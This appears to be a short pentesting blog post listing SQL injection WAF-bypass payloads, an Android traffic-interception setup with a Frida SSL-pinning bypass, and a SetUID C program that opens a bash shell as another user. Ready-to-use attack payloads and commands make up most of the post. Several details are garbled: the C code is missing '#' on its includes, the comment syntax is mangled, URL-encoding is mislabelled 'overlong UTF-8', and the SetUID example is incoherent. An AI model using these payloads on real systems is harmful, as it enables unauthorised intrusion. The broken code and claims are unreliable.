You Should Know:

1. Advanced SQL Injection Bypass Techniques

Many web applications use WAFs (Cloudflare) or strict validation (FastAPI + Pydantic). Below are some bypass techniques with practical commands:

Bypassing WAF Filters

-- Classic UNION-based bypass 
1' UNION SELECT 1,2,3-- -

-- Using comments to break detection 
1'/!UNION/+/!SELECT/+1,2,3-- -

-- Hexadecimal encoding 
1' UNION SELECT 0x61646d696e,2,3-- -

-- Overlong UTF-8 encoding 
1' UNI%4f%4e SELECT 1,2,3-- - 

Bypassing FastAPI Pydantic Validation

If an API uses strong typing, try JSON-based SQLi:

POST /api/data HTTP/1.1 
Content-Type: application/json

{"id":"1' UNION SELECT 1,2,3-- -"} 

2. Dynamic Analysis of Android Apps

Many mobile apps hide API calls. Here’s how to intercept traffic:

Setting Up Android VM (Genymotion + Burp Suite)

1. Install Genymotion (Android VM):

wget https://www.genymotion.com/download/ -O genymotion.deb 
sudo dpkg -i genymotion.deb 

2. Configure Burp Suite Proxy:

adb shell settings put global http_proxy 192.168.1.2:8080 

3. Bypass SSL Pinning using Frida:

frida -U -f com.target.app -l ssl-pinning-bypass.js 

3. Exploiting SetUID Binaries (Beyond Root)

Most SetUID examples focus on root escalation, but you can switch to any user:

Exploiting Custom SetUID Binary

// Compile a SetUID binary 
gcc -o suid_exploit suid_exploit.c 
chmod +s suid_exploit 

Example C Code:

include <stdio.h> 
include <stdlib.h> 
include <unistd.h>

int main() { 
setuid(1001); // Switch to user ID 1001 
system("/bin/bash"); 
return 0; 
} 

Exploit Command:

./suid_exploit 

What Undercode Say:

This playlist is a goldmine for penetration testers. Key takeaways:
– SQLi bypasses are still relevant against modern WAFs.
– Mobile app testing requires dynamic analysis (Burp + Frida).
– SetUID binaries can be abused beyond just root escalation.

For hands-on practice, use HTB Pro Labs with discount code:

Prediction:

As WAFs evolve, attackers will rely more on obfuscation techniques (like JSON SQLi). Mobile app security will grow in demand, especially for Flutter-based apps.
